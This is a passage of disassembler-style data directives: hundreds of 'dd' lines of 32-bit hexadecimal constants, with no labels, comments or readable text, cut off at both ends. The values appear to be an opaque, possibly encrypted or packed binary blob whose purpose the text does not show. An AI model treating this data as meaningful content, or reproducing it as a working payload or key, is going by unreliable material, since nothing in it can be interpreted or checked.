6C26DD60h, 8C4560DEh, 0A735DA94h dd 5B647F30h, 7EC1B96Bh, 0B003A33Bh, 0DD8D4F4Eh, 0EDA3948Ch dd 184FD303h, 94109108h, 74A51328h, 0CA31EF77h, 286AD6FAh dd 44D2A108h, 5E3D8F14h, 496B0721h, 1EDC054Ah, 0C702ECB4h dd 56825370h, 0FA999EABh, 0B3AAF36Ah, 0C5828CFh, 0EC3E64F1h dd 1C724EFFh, 6E9B90D5h, 6BBF54BEh, 0DD45E767h, 73033736h dd 4381B4A2h, 0F19A4F4Ah, 60B332A0h, 0A45CD148h, 6C269B78h dd 8C44ECCEh, 0A734C2B4h, 5B668F70h, 7EC5D8EBh, 0B3F4653Bh dd 0DDFDC34Eh, 0EDC08C8Ch, 18092303h, 959CF108h, 75B2D328h dd 0C8216F77h, 3449D6FAh, 5B14A682h, 5EB16288h, 3A63EABDh dd 40CCE8D6h, 53220128h, 4942BEEDh, 1A197336h, 0EFD58C2Bh dd 0BD2757ACh, 17411B95h, 14723190h, 8E9B7D6Fh, 5BBFB960h dd 0D450B7Fh, 0F303313Dh, 3C71B892h, 0E19ABD3Bh, 1F4B4362h dd 0A45C8ECCh, 50B75970h, 8C4468FEh, 9977CAD4h, 5B609EB0h dd 3EFB076Bh, 0B3EC273Bh, 0DDD2474Eh, 0EDE17E0Ch, 19CB3303h dd 9518D108h, 76BB93E6h, 360E131Bh, 30A82D53h, 43564B1Eh dd 39358F14h, 0B7A050Fh, 92FCF8DEh, 0CFC21745h, 61025371h dd 1D999EA5h, 71ABF1CEh, 8058D50Bh, 0E43E98B2h, 2C724EDCh dd 8E9B9093h, 0ABBE5782h, 5D451F53h, 7303CE9Dh, 4381BA81h dd 0E19AB91Ah, 60B24830h, 0A45C6104h, 6C270688h, 8C442AEEh dd 0A7364EF4h, 5B6196F0h, 7ECB16EBh, 0B3E80763h, 0DDDAC526h dd 0EE0EC208h, 19AAFD9Fh dd 955ACFBCh, 773EADECh, 370691A3h, 32872811h, 0BF88B5E6h dd 21897025h, 1CF3F83Fh, 0F3ECFA64h, 8DE213F5h, 0EDC2AC25h dd 251961C6h, 66AA0C23h, 6658D7A5h, 0A03E9B4Ch, 0A472B166h dd 0BE9B6F30h, 8BBFAAD9h, 9D451EFBh, 0F303CCA9h, 43814289h dd 0E19BBB0Dh, 60B24F16h, 0A45D9722h, 6C26173Ch, 8C46F556h dd 0A7370D40h, 5B631554h, 7ECB151Bh, 0B3EBFBBDh, 0DDDF3FEEh dd 0EE07343Eh, 199B1023h, 96BB1238h, 777F1016h, 3486EC39h dd 3387D5A5h, 0BD8B4872h, 2D8C8C51h, 0E48A04A7h, 0E39D06D9h dd 6D83EF17h, 0AD8350D8h, 0A4989D18h, 67ABF098h, 64592B0Ch dd 0BC3F673Ch, 0BC734D34h, 0AE9A94B2h, 0EBBE511Dh, 0DD44E525h dd 7302373Fh, 4380B8BCh, 0E19BB15Ah, 60B25776h, 0A45E6B90h dd 6C262382h, 8C46D1A6h, 0A737C988h, 5B6391BEh, 7ECC100Bh dd 0B3E5F9C3h, 0DDC3365Ch, 0EE3F29AEh, 198B6631h, 969B7436h dd 77BED666h, 34066A11h, 3C84D383h, 0BB8D4E9Ah, 29818F2Bh dd 0EC8207FDh, 0D38D05A3h, 4DA3EDB5h, 6C435278h, 24189FBAh dd 64ABF27Eh, 7A592995h, 0B83F65B0h, 0B4734FB0h, 0DE9A913Ch dd 0CBBE54D9h, 1D44E151h, 0F3023D18h, 4380BE90h, 0E19BB70Fh dd 60B25310h, 0A45E6906h, 6C272F10h, 0C47C54Dh, 2736ED20h dd 0DB62D4A7h, 0FECC937Eh, 33E5FF38h, 5DC0375Ch, 6E3A2480h dd 9972730Ah, 16EA510Ch, 0F7DF932Ah, 0B444EF7Ah, 0BD04D6FAh dd 3A8E4B11h, 0AB858F3Bh, 709B0732h, 4BBC0547h, 0DC42EC81h dd 8C025370h, 0E7999E9Dh, 65AAF35Bh, 0F85828CEh, 343E64CAh dd 4C724EDDh, 0CE9B90ACh, 2BBE57C7h, 5D45E0F8h, 73023E2Eh dd 4380BDE1h, 0E19BB59Ch, 60B2541Ch, 0A45F6710h, 6C27C970h dd 8C474B46h, 0A73673F0h, 5B63EA6Ch, 7ECCEC5Fh, 0B3E60FFFh dd 0DDC6D59Ah, 0EE36A266h, 197ABDFBh, 96FB4E06h, 77FFAC36h dd 35849059h, 3D8329BBh, 0B980B44Ah, 15997049h, 0F493F855h dd 0C3ACFA31h, 2C621327h, 2CC2ACD4h, 0A7196114h, 5AAA0C93h dd 7E58D708h, 0B03E9B34h, 0C472B140h, 0FE9A90ACh, 0BBE557Bh dd 9D44E0EEh, 0F3023CB4h, 4380BEBFh, 0E19BB0A1h, 60B2557Ah dd 0A45E6364h, 6C263FA6h, 8C46A5FEh, 0A737AC26h, 5B625010h dd 7ECE925Bh, 0B3E6F005h, 0DDC52C00h, 0EE3357D2h, 1963506Fh dd 96CA9272h, 781E10AEh, 35C4ECE3h, 3E03D559h, 0B88348B0h dd 179C8C97h, 0F8AA04E9h, 3C5D0699h, 3C03EF51h, 0CC83508Ah dd 0E6989AADh, 0DBABF747h, 7C592CF1h, 4C3F60E3h, 0DC734AF2h dd 0EE9A94F6h, 6BBE513Dh, 0DD44E450h, 73023832h, 4380BA1Eh dd 0E19BB5C8h, 60B25FDEh, 0A45E7BC8h, 6C26C3C0h, 8C46905Ch dd 0A7304996h, 5B629642h, 7ECE15D5h, 0B3E1F075h, 0DDCB2628h dd 0EE2F49F4h, 1954A687h, 96DBF108h, 783DD3F4h, 35046F99h dd 3E80D7FBh, 0B7854A10h, 11908E35h, 0FCA2060Fh, 344D0403h dd 0C23EDDFh, 0EF43520Ah, 26189F2Bh, 58ABF2F3h, 72592965h dd 483F6506h, 0D4734F5Ch, 1E9A9158h, 4BBE5752h, 1D44E2B2h dd 0F3033D4Fh, 0C381A105h, 619AB287h, 0E0B35905h, 245F7B39h dd 0EC27CF33h, 0C47856Ch, 27316CD8h, 0DB63D2B9h, 0FECE9F6Fh dd 33E1F739h, 5DC82743h, 6E2A448Dh, 995DB30Ch, 162BD118h dd 0F85C933Bh, 0B542EF7Dh, 0BF00D6CFh, 36864B18h, 93958F12h dd 40BB072Ah, 0AC7C0559h, 9CC2ECA4h, 0F025319h, 69999EA7h dd 0D9ABF1F5h, 705828DCh, 443F6611h, 0EC734C6Ch, 0E9A93B6h dd 0ABBE5840h, 5D45FCB8h, 1645C56Fh, 20E8C541h, 94F61019h dd 60B3EB7Ah, 0CA16F720h, 0D49A321h, 0E9331C02h, 0D3447EB7h dd 37357199h, 0ABD7BB8h, 0B3AC8652h, 0B34BDB4Eh, 0ADD419F8h dd 7F31EA71h, 0C357506Bh, 1508304Dh, 3A820118h, 6AC3D6FBh dd 0D6FD3D7Fh, 0B4DDE659h, 17DF6642h, 4D186628h, 0ECE282D9h dd 0CA855374h, 0CD6DCDD7h, 3AC49212h, 76584DC0h, 25796530h dd 871D0D0Ch, 57CFFEB9h, 8BBF3C25h, 0F802F888h, 976D807Bh dd 5E4EC80h, 0AFFC6098h, 21D6B077h, 0A45E7324h, 0D42B00Ch dd 0E02725F2h, 0A729B07Bh, 291F5130h, 1B45FC0Eh, 0D6CF827Dh dd 0AD3CBE03h, 0AE451AE5h, 174D9303h, 0DE7F744Fh, 5E86049h dd 50AC9D05h, 180ED6FBh, 0A2EA2A53h, 0D0DAEA42h, 0A4224147h dd 1C1C0529h, 9DEF82E2h, 2AEB050Ah, 0AEFFD1A8h, 0DFCF9F2Bh dd 41728BFh, 35780B74h, 9D3F2452h, 40F2E324h, 0EBBF1FD7h dd 0B106FA98h, 3B67BA40h, 2FE5E6D5h, 0E1991D15h, 10D96DABh dd 0F73B4359h, 24B292Ch, 8C4A2DE9h, 0CB78C334h, 5B281415h dd 1070DCEBh, 0DFFE084Fh, 0A7C6B021h, 8C1829E8h, 73A7826Bh dd 9313716Dh, 23C8A16Bh, 5B6E0A03h, 0A135B38Fh, 0E31C4B1Eh dd 10C4FF64h, 0EF37726Fh, 900C4434h, 0B6E1ECB0h, 3B36321Eh dd 6B76EC89h, 0DDD9802Bh, 0CA582887h, 144A0051h, 0B106327Eh dd 2CF4E160h, 0CBBF5F3Ch, 78299024h, 9A44AE4Ah, 43C0E9F8h dd 84DE153Fh, 0DD1471Eh, 0D03FBF4Ch, 6C226638h, 0E90AD4BEh dd 0CA4FA720h, 3733D6C0h, 135C550Eh, 0B384AE5Eh, 0ADC1D74Eh dd 86F81DFCh, 1434966Fh, 0F9C85108h, 2FD4D55Ch, 5874AE12h dd 99EEBF89h, 9AED2E6Ah, 69A58F2Bh, 18326675h, 874E6A0Ah dd 272582D9h, 4601C1Dh, 2BEDFDBDh, 2EC6F348h, 383B5AFFh dd 547F0B03h, 7F1E410Ch, 23F8E144h, 2BFE3608h, 2F06F4EBh dd 1676B5ABh, 2DE4F936h, 0E199578Ah, 5E710ECh, 0C128A844h dd 6C225706h, 0E90ADCAEh, 0CB43A500h, 2F2EF195h, 0B5F3399h dd 0F2F6044Fh, 0C283CB4Eh, 8AC8F2C5h, 771EAF71h, 0D988D463h dd 22A53050h, 6D050819h, 0ECCBB29Fh, 0BF574B1Eh, 5D6CC5Fh dd 0A3D664Fh, 0AD426C00h, 5362ECF1h, 1FB13A3Ch, 1F7CF2BAh dd 73CF8120h, 0AC3164EFh, 294C0409h, 681E204Eh, 3BD0935Dh dd 47FA1136h, 0F96BC6C0h, 0F302B8B2h, 26D38F53h, 84EB55DAh dd 2BD1650Fh, 0DC1B9251h, 6C222F21h, 0DF2AA18Ch, 0C67CE6F1h dd 1E3F9A5Ch, 7E3CD813h, 0D6D7E33Bh, 0ADEC8C29h, 8AF1F1FFh dd 147DD37Ah, 0D393F45Ah, 8B37658h, 54049612h, 0ED0AD6BAh dd 9EF52E4Ch, 1FD8E34Eh, 90E4C47h, 0CCDC050Dh, 2F6B82F9h dd 67EE3211h, 0FCAFBA2h, 0BAD8862Bh, 291C51FEh, 54C0608h dd 6E1D3482h, 6E9B8D2Ch, 38CB4633h, 0AF30AF9Eh, 377B9087h dd 31E21C57h, 8EEDA715h, 3D5D292h, 0A451E8A4h, 2595D37h dd 0ED3C839Dh, 0C245FBDAh, 5B4ABE02h, 0E53B8EBh, 0D616CB5Eh dd 0A168353Ch, 0E8BBCDE9h, 7E3C2303h, 0CB958267h, 229CA14Dh dd 7CF90A14h, 0A805B295h, 1AD44B1Eh, 9854FA7Ah, 306545Bh dd 0ABAF6C39h, 534398E1h, 11422009h, 125A9ED0h, 0D5CD9CD9h dd 742A4A39h, 0AB5B05D2h, 7D142D1Ch, 9E9BCE4Ah, 23FC276Eh dd 7822AAA6h, 857091A6h, 0E42C4Bh, 88FFF934h, 60F424C5h dd 0D003E94Ch, 3F4A5911h, 0E503BE9Bh, 0A69BE7B7h, 29780EB0h dd 1B08860Eh, 0C5740268h, 82E4A427h, 0E9B8848Ch, 75155647h dd 0E1AFB47Ch, 309BE55Ah, 0D9EEF12h, 0FC2FB3A9h, 20642E6Bh dd 1FD9EE7Dh, 33034246h, 84BD054Eh, 6A92ADDAh, 7D2C6153h dd 8D99F2A4h, 91AAF2DAh, 0C0582F3Eh, 643E66E3h, 2C7242E6h dd 8E9B8929h, 0ABBF2B7Eh, 5D45DCCFh, 730284F4h, 43812F15h dd 0E1985738h, 60B59769h, 0A453E6C1h, 6C382887h, 8C79CEFEh dd 0A6D286E7h, 5B2B06FAh, 7E5CF6DFh, 0B2C6393Dh, 0C301BB77h dd 0EAB93C87h, 6E780317h dd 80FE3119h, 5BF65347h, 3ED93C20h, 0A395E5B0h, 9924277Ah dd 0B04E8F2Ah, 35834E57h, 0A09B772Eh, 40B688FCh, 25A73F06h dd 0F971EEA9h, 0EFDA93E9h, 0CA344B04h, 203E6734h, 0C1062B3Ah dd 0CAFEE559h, 0E5DA5F22h, 9D45D48Ch, 9676FAC8h, 37E4617Bh dd 8FFD6766h, 21DA6513h, 0A452E684h, 94E4749h, 0F818A76Ch dd 0D5A5E957h, 357A4D55h, 7DD9990Fh, 0DCCF3B3Bh, 0AEF3DA3Ah dd 8EEB40E9h, 53E7762h, 8CFE7464h, 0EAB85A7Fh, 43C3AA38h dd 6DCABA9Fh, 0AB1D4B11h, 1668FB43h, 1CF8694Bh, 0C1DD602Ch dd 4DD6EC88h, 51E7001Bh, 0E1F5FFAEh, 87AAF2ECh, 0C53D5D49h dd 546A0200h, 0D8132181h, 0AE9B852Bh, 9ECC563Fh, 0B51049A0h dd 1763C1F3h, 4382EF08h, 95F1AF6Dh, 5C4FF0Ch, 0A45582F9h dd 5622918h, 0ED14BD7Ch, 0C3B0C358h, 5B0B0515h, 28F080B9h dd 0DC2F4A55h, 0C001B32Ah, 94D849C4h, 0B1D1140h, 88FE147Ch dd 0CEBFD328h, 38D31F17h, 22D7A288h, 194C4B68h, 0A560EA62h dd 1CEF6B65h, 0C18C0520h, 51C389C2h, 4803363Eh, 947AF19Ch dd 0E1E2F2F9h, 0C81E5E8Bh, 383E0DD1h, 0D13A4773h, 0B7C8F74Ah dd 0CBBF5217h, 780C24CDh, 9254C4E1h, 22E6A664h, 0E198F263h dd 5F3175Ah, 0C12083F0h, 185F5B53h, 0E004AA57h, 0D299E007h dd 5B956BD9h, 0FBFF36Bh, 0D7725E5Eh, 0A4EDDE08h, 0E5B924CDh dd 290B1F57h, 0D7913D64h, 0B3F79328h, 0EE08A31h, 48D6A48Eh dd 311A3F7Fh, 3164EA58h, 739B636Ch, 0ADE80542h, 4530AAF7h dd 24025375h, 0D0EAF2BCh, 0E4FC868Ch, 0B83D5BA6h, 4C7B68F4h dd 0BE22329Ah, 0BDFEE244h, 2BBF3B1Eh, 3C2C5299h, 166E20EEh dd 20FAEA63h, 88EB2773h, 9F1F933h, 0D63292FCh, 6C302928h dd 0DF1DAC69h, 0C386F60Dh, 3682509Dh, 3BAFB38Eh, 19A35D52h dd 0C164C627h, 83FE5C8Ch, 70C1077h, 0C08AC57Ah, 0D4913D61h dd 0BD946F37h, 4BD7B3BCh, 0CD252778h, 0D57CFF50h, 16D40725h dd 0B3D94631h, 540C89F4h, 47AD2144h, 976AED85h, 0FEEF2D9h dd 0DD3142DAh, 785B1D55h, 0A8163712h, 0FE9B834Eh, 43CB5A3Eh dd 0F1205AADh, 866D17E5h, 4382FB69h, 84D81715h, 16D6522Ah dd 0CA3994FDh, 185C4C4Dh, 0E51FBD0Dh, 0A699E3FAh, 299D0330h dd 1379940Eh, 22F45A4Dh, 0A8E4C220h, 95CD07F8h, 171F3D6Ah dd 0BCFF9149h, 0F7857A7Eh, 0ECF98E03h, 8ECDBA97h, 0D9424B11h dd 216FE67Fh, 22C76653h, 0BB2E6031h, 2002EC80h, 50EB214Fh dd 0FAF0D97Dh, 7BAAF4ACh, 0EF2C47D9h, 0AD761500h, 0B919CC9Eh dd 0EE9BDD2Bh, 28C8A63Eh, 0B237E2A3h, 74201ECh, 22CC0374h dd 84FFB37Ah, 60A09722h, 0E20D83FBh, 3C894551h, 0FBBFA021h dd 0A662F6D1h, 3D990370h, 1A5A948Ah, 49465057h, 0AB52A34Eh dd 74D709F8h, 2B3DC54Fh, 78FF9464h, 0BF4D32Fh, 9D956F76h dd 0CDA1D6FCh, 19444B13h, 0D5118F2Dh, 73A3072Eh, 0C24C0577h dd 2022ECE2h, 274252DCh, 96199090h, 78AAF739h, 0B258216Ah dd 0C83E72B4h, 0D475AB70h, 1E9BDF2Bh, 4BBCC76Ah, 1D4484CCh dd 0F3017487h, 43844F06h, 0E1939713h, 60A11752h, 0A478E6ACh dd 6CEE2930h, 8FD5C97Eh, 0A61A84D4h, 58BB02B0h, 737CFF6Bh dd 4906273Bh, 0CF81A73Ah, 21847481h, 70368343h, 5498E15Bh dd 2383A342h, 0BD1EDF0Bh, 9D38E66Eh, 69857B8Dh, 65CCBFFEh dd 42F33603h, 0F3263422h, 11AEDD9Ah, 168863BEh, 0A85CA119h dd 484FC6F6h, 824310A0h, 0F60740D5h, 0DE3098CEh, 3CFCEB7Ah dd 993BF904h, 6FD3AE5Ch, 41DB3655h, 70B41DE4h, 0D935642Fh dd 5C92AC17h, 98A1DA2Bh, 5281171Ch, 8FD9F7E7h, 0A612A4F4h dd 58AB026Ch, 4111CCC0h, 7AB31B6Dh, 0FD8869CBh, 20674E3Ch dd 6D7FB1F1h, 53AA022Dh, 2867605Bh, 0CE395CD6h, 0BE60E544h dd 0AAAA78F7h, 0E120BCD1h, 47F3330Dh, 0F6303126h, 1470D88Ah dd 136F6658h, 0ADC0A43Ah, 4BACC3E6h, 8332146Ch, 0F5A846B1h dd 0D1BA98ECh, 986ED9Fh, 0B3B6F8B4h, 0A5F5ACF5h, 0CA172C68h dd 79A93642h, 0DB5E2D46h, 5B372C1Eh, 9F8CDD66h, 50C81556h dd 0B3BAF4A7h, 9B2DB7BBh, 65CB3C03h, 4F3CC00Ah, 769F16C3h dd 0F2E5611Ch, 2D694A10h, 63DFADFDh, 6CFF2108h, 63F4121Fh dd 0DCE5DF16h, 5F89E716h, 0EBFC794Ch, 6641BDC5h, 471634B8h dd 0F6C331FCh, 15F5D9D3h, 12156741h, 0AD25A50Ah, 4A63C2CAh dd 81BA14DAh, 0E9CF469Ch, 0CA729907h, 1884E33Eh, 0DD96E54Eh dd 0EB07DAFFh, 454E12CEh, 75EFD959h, 0D715E16Ah, 5634A1B8h dd 92D8D024h, 5A591FEBh, 0B909FE4Ch, 90E3BDE5h, 6E663797h dd 4594CA10h, 7F111A23h, 0FBA564C2h, 34B85B30h, 6250DB11h dd 50AC4945h, 5377EB74h, 0E50F57FCh, 756DEE54h, 218973DCh dd 0EDD6B7CBh, 4A763E7Bh, 0FB5C3C22h, 19D7D59Eh, 1FFD6B48h dd 0A1FFA968h, 46BCCE8Ah, 0B0651AC5h, 0E26E4EFEh, 0CE0F9510h dd 643CED54h, 0F156EDA3h, 2660DFD7h, 0C8490FACh, 7817F462h dd 0DA36AC87h, 5B7D2CEFh, 9F87DD5Ah, 50AF1551h, 0B390F4F1h dd 9A5CB734h, 65E03CDBh, 4E5BC7CAh, 74BF138Ah, 0F14B6B88h dd 315A5859h, 6570CFE8h, 29986C4Dh, 4E7AAE58h, 0F050D2DBh dd 1045EB2Ch, 67307511h, 6B85B1ABh, 4C5239A8h, 0FD5A3A2Ch dd 103CD386h, 19D26D5Fh, 0A471AF74h, 7DAAC896h, 885860CAh dd 0D43E756Ch, 3C689EE4h, 7EDDE108h, 1BD5EB3Dh, 6DC8CC4Fh dd 4202F44Bh, 72B79E1Ah, 0D0166669h, 510FA6BFh, 95BFD709h dd 5D3818A5h, 0BE34F971h, 9426B979h, 6B5932D1h, 4091C8ADh dd 79B8134Ah, 0FFCF79C6h, 3C46AE5Fh, 656DF00Fh, 23CB8224h dd 4891607Ch, 0E165C1Dh, 3E37E570h, 0AAE078B1h, 0E6E2BC9Ch dd 40AE34BDh, 0F6043169h, 1B36D8B7h, 12A266ADh, 0AF63A4CCh dd 4630C3D7h, 0BAE21407h, 0E4DE41E2h, 315B9454h, 4BDDE614h dd 3ECCEA0Ah, 0A8C4C1B8h, 0C68EE101h, 7649BAA7h, 0D7B122EBh dd 56E62102h, 921CD0FBh, 5A431F19h, 0B93CFE0Dh, 913ABC6Eh dd 6E772829h, 4574CE5Eh, 7CDE146Ah, 0C5EC782Fh, 38C5A3E3h dd 63F5E485h, 2B58A69Bh, 74472486h, 1A55D8C1h, 0DA7CE130h dd 0EEB97CCDh, 6D39B8D4h, 4B293F5Fh, 0FAB13D08h, 17F9D45Ah dd 1FBB6BF3h, 0A3CCA99Dh, 4996CE20h, 0B61E1ACBh, 0D6534F1Ch dd 26D29A7Dh, 5448F787h, 516199B2h, 0E64CF7CCh, 4864DFCBh dd 7806547Ch, 0DA21ECB7h, 5B7FAC95h, 9854DCA8h, 50B80B47h dd 0B37388A5h, 9ABB8E20h, 65F613DBh, 4EE02429h, 7664D834h dd 0CF44FE73h, 35C2B1E6h, 6FF41E81h, 2509CC94h, 71F7EEFCh dd 23CC5178h, 0F3F1E8A2h, 273875B5h, 0EB7DB19Ah, 4A93398Bh dd 0FBC23B9Ah, 1410D3DEh, 160F6DBCh, 9545AF83h, 6FD7C9CDh dd 7DCD18E3h, 5792492Bh, 2BCC9CC3h, 0A149F0EAh, 745698B6h dd 1D44FB34h, 0F300A48Dh, 43854FBEh, 0D1AFA0CAh, 50D624A9h dd 94F6D44Ch, 5C4905DAh, 0BF3F803Ah, 992C8A00h, 68330FB2h dd 43B3764Fh, 781895D2h, 0C0B5746Ah, 3AFCB7C9h, 63C7005Fh dd 33A8E622h, 63D5A486h, 3507D7A9h, 94D9EE09h, 60827225h dd 6D43B67Ch, 4CF03E2Ch, 0FF653CFAh, 0E0FD50Eh, 8E26B36h dd 879FA92Eh, 0B89CCA2h, 3A661D66h, 0DE724CB1h, 161198ADh dd 0B4EEF340h, 9135912Ch, 67E1E646h, 49B3BE3Eh, 79451459h dd 0DB436A1Fh, 5A4BAE41h, 9F65DE4Bh, 57CA09A1h, 0B4BB89D5h dd 929D85BCh, 62710DA5h, 49246D82h, 714B42B8h, 0C8A100D5h dd 310E0727h, 95B238C9h dd 3B300AD2h, 603F6F0Dh, 41A6534Ch, 0B195EABBh, 0A4717761h dd 0E806B3ABh, 4A593BF6h, 0FB2139DFh, 901D018h, 13B6E08h dd 0F808ADC2h, 1BB5CB80h, 0DB761A0Fh, 9D044A01h, 99299831h dd 83F7F643h, 0B63E9222h, 0A0D8E947h, 0CEA8A93Bh, 7E313377h dd 0DC502D73h, 5D6A2940h, 99AAD8D6h, 511E0EDEh, 0B20D80F4h dd 943680E2h, 67130B32h, 4FA86B65h, 74A74521h, 0CE3901FBh dd 356D0A4Bh, 929C2DF1h, 33912E07h, 9B632C4Fh, 5278D0F6h dd 5203E951h, 0E7F474E4h, 548DEF22h, 768B0644h, 0F7913568h dd 5C1DCDCh, 0DEB62BDh, 0F4E1A089h, 1709C603h, 0D4E717A0h dd 8D3A4782h, 8D6695FFh, 9FDDF43Ch, 0DAE38202h, 0EC3C1DA7h dd 42C29510h, 7260DF11h, 0D382E123h, 524FA682h, 9706D635h dd 5F0200DAh, 0BB508EF5h, 9D3489E2h, 6C2C018Bh, 44A561DBh dd 7FAF48E4h, 0C65C0518h, 3DDF15EAh, 93F45A8Bh, 32F84B26h dd 9659E966h, 67545516h, 7721EC3Fh, 2311700Dh, 0EFBFB408h dd 4DD03C12h, 0FCEE3E38h, 0ECDD7A2h, 7CF6999h, 0FFBAAB6Ch dd 1F48CD50h, 0C6C81A6Ah, 849D4423h, 88B99BD9h, 0E247FBF1h dd 0F7498BBEh, 204E182Fh, 0CE20898Ah, 7EB1F3F6h, 0DCC1AD8Ah dd 5DC529C0h, 990FD875h, 516D0E84h, 0B223808Eh, 9428809Fh dd 64100954h, 4C0A6E9Bh, 740542C6h, 0CFB80976h, 3BF81ACBh dd 96194D53h, 0A4F6F8Fh, 8AA4ADB7h, 72E9D070h, 12E2E9E9h dd 6748742Ah, 6BF1B079h, 4908382Bh, 0F8673AFCh, 3442D321h dd 3C022290h, 0C799900Ch, 15BBC6EEh, 0C87616D1h, 846F48B2h dd 0FCE89696h, 0FE2FF18Ch, 1B7C8BEEh, 6DB80C3Ch, 421C759Dh dd 72A99FF2h, 0D00A6126h, 510BA53Bh, 95A8D4A3h, 5ED602C6h dd 0BDA78F05h, 9B038F94h, 6AF207F2h, 44C061BFh, 701B4450h dd 0C70B1D4Dh, 30F46AB7h, 903E7551h, 6BB8756h, 8A916550h dd 8B5C59D0h, 3B19E042h, 0AF087DF4h, 0E3B8B82Eh, 41BE307Dh dd 0F0953251h, 327DB86h, 0BAB65D8h, 0F062A794h, 2D3EC154h dd 0C9F81133h, 87924E90h, 0F3CD8EC0h, 0C96DF4EBh, 33B18754h dd 0A56C0CF8h, 0CB4E6CDFh, 7AD6B792h, 0D85529EBh, 5A862E83h dd 9E9CDFF6h, 57F709DFh, 0B4F7864Ch, 92DF87BBh, 62BA0879h dd 4A406A04h, 797648FEh, 0CB8213B9h, 3AAD6982h, 9A216E4Eh dd 2B1AF5Dh, 0BAB12D87h, 0ADE56F75h, 0EDC2D631h, 0E86F7B7Dh dd 640EBFADh, 466C37FEh, 88535B6h, 50BDC1Fh, 0DA963BCh dd 0F7D5A02Ah, 2ACED99Ah, 0CDCFEBF1h, 7D9370D3h, 0EE64B91Ch dd 0DCBC2F3Eh, 5938716Fh, 0EFE2BE41h, 41B2563Fh, 71575C1Fh dd 0D281E390h, 5330A7DDh, 97D1D694h, 5F5C00F6h, 0BB63894Dh dd 9D1B88FEh, 6A0307C4h, 43C2643Eh, 740241CCh, 0CB601602h dd 53779FDh, 0B7FC968Dh, 0CFBEC4A3h, 3BFFE4B7h, 0A5FE588Ch dd 0F5A7EED9h, 20B7737Bh, 0EC47B7E7h, 4FAB3F85h, 1543D86h dd 0D0ACA3Ch, 6776872h, 0FF97ABABh, 210CD2A4h, 0CBE2E0C1h dd 71E97B74h, 0ED98B293h, 249726D5h, 71E47D16h, 26EEBE8Eh dd 0C8B24F2Ch, 7E837529h, 0E1ABADEBh, 60518492h, 0A418E5A8h dd 583B0054h, 0BAC88867h, 9F648AF2h, 69C30470h, 4F5168CFh dd 79504F0Ch, 0C71A1FDDh, 9487C3Ah, 0B9318A3Ah, 0DD04E8B1h dd 2E09AADFh, 0B7CED560h, 9741ECABh, 62AF7190h, 6F94B5C2h dd 4D863C71h, 31C3FDAh, 0F63C8BBh, 4DE6A8Ah, 0F59BA966h dd 25E7D71Eh, 0CC94E522h, 79097E2Dh, 0D1F2B797h, 335E24BAh dd 965B7684h, 63D2A121h, 4DE43A2Ch, 7D631020h, 0DEBF6FB8h dd 6051AB49h, 0A41B4520h, 6CA83328h, 0BE4B8D5Ch, 9AF68DEFh dd 6A9D011Dh, 43926AD4h, 75C95DECh, 0C9CAEE92h, 5E14BBBh dd 0A666B480h, 0DCDB098Ah, 20446F07h, 0C1BD532Ch, 0B137EA4Eh dd 0A60676B2h, 0EA90B109h, 48F8391Dh, 6313ADDh, 0A49CD98h dd 10B6FFCh, 0F63FAC4Eh, 21FFD42Ch, 0C9C8E650h, 403E7CDCh dd 0E4753D71h, 3E9B1B6Eh, 0BBB77F51h, 0ADB4A421h, 0C210259Eh dd 77203FF8h, 0D8102460h, 5A552D4Ah, 9E56DF01h, 56CA0916h dd 0B5BD862Dh, 922099E9h, 654A0A79h, 4D5966B0h, 7CD35722h dd 0C067E384h, 0DEA4A82h, 0A2DFADA8h, 0ECC3D108h, 640C1337h dd 0DCCADE69h, 5EEFE408h, 0EB827846h, 618FBC8Ah, 764BD740h dd 381C0498h, 486C338h, 0F8E6140h, 0C89972B8h, 1FAAEA69h dd 0C024ED7Ah, 68AA77FDh, 0C8D5B86Dh, 1A2F2196h, 0DF0067ECh dd 0E987D810h, 47C31057h, 774DDA04h, 0D576E468h, 54B6A188h dd 90F1D7D0h, 58500BA8h, 0BBBD9076h, 9C396634h, 6B876478h dd 438BA9FBh, 755BD823h, 0C920E66Eh, 199E59A4h, 0AF59D630h dd 0DDF74430h, 5959E66Fh, 0E88F5A3Dh, 7B59E3AEh, 2DC07E4Eh dd 0E2C5BA44h, 4D2F3228h, 97831FBh, 9DEC642h, 0FBC664CCh dd 0DD95A73Bh, 0E93EDEE9h, 7FC4ED75h, 6D9A7115h, 0C1D9BADEh dd 6B2F2294h, 0FE0062E8h, 2887D118h, 0C6C30166h, 764DFB64h dd 0D476A4A7h, 55B72F0Ah, 91F0D4D4h, 59520EA0h, 0BAB99946h dd 9F317554h, 697746B8h, 40EBED7Bh, 761C5923h, 0CBA1E16Eh dd 1B9C52A4h, 0AE5DC530h, 0A2EF6730h, 4269A56Fh, 0FB6CD93Dh dd 1818E0AEh, 61427D4Eh, 60C1B944h, 4C373129h, 64832FAh dd 353EC54Ch, 0E88667F0h, 3D15A423h, 0AB3EDDF9h, 0FF74EE55h dd 6D7E7DCAh, 353DB7B3h, 77CB286Eh, 12E46208h, 6423C5FFh dd 4A66FDDAh, 7AE997FFh, 0D8D1684Ah, 59D3A210h, 9D97C6B4h dd 5530FEE4h, 0B6D1AD3Ah, 908D4AE8h, 66C3A954h, 4F6F2347h dd 7F20D88Fh, 0C1E2F7AAh, 125EA060h, 0AAADFFF4h, 0AD248DF4h dd 7C3D6E2Bh, 3D009F75h, 0E8BD69Fh, 0A7587BD2h, 0E169BFF7h dd 4D1F3609h, 57835DDh, 3A3EC26Eh, 0DF566014h, 1A85A33Bh dd 630EDAF9h, 7FF4E905h, 61DA74D6h, 3599B09Ch, 4F6F22D0h dd 39986EA0h, 0AF6FC683h, 0CB9AE206h, 7B7949D3h, 0D8C92BDDh dd 59F0214Eh, 9DB2C49Ch, 5516FAD0h, 0B681A566h, 90F15B44h dd 5F5BCF30h, 763F596Bh, 4381633Bh, 0E28BCF4Eh, 2FAC948Ch dd 9451D300h, 9C2C9108h, 444D132Fh, 2D61EF75h, 0EECAD6FFh dd 0D6124B16h, 50BD8F3Bh, 7E6B0742h, 28DC048Ch, 1302F330h dd 0FE825178h, 4A9992DBh, 13AAEB49h, 0CC58D88Dh, 6C3E4577h dd 1C7580F5h, 6E9B0CDEh, 6BBC5D44h, 0DD43F0B3h, 730EDD5Eh dd 43996152h, 0E1A932BCh, 60545960h, 0A4117AC8h, 6CA3C178h dd 8F4F98CEh, 0A9216AB4h, 5F43DF70h, 760F78EBh, 4361253Bh dd 0E2C8434Eh, 282D8C8Ch, 95532300h, 9E28F108h, 485AD32Fh dd 15516F75h, 0FF29D6FFh, 36544B16h, 13318F3Bh, 0FF630742h dd 2ACC048Fh, 1F22F331h, 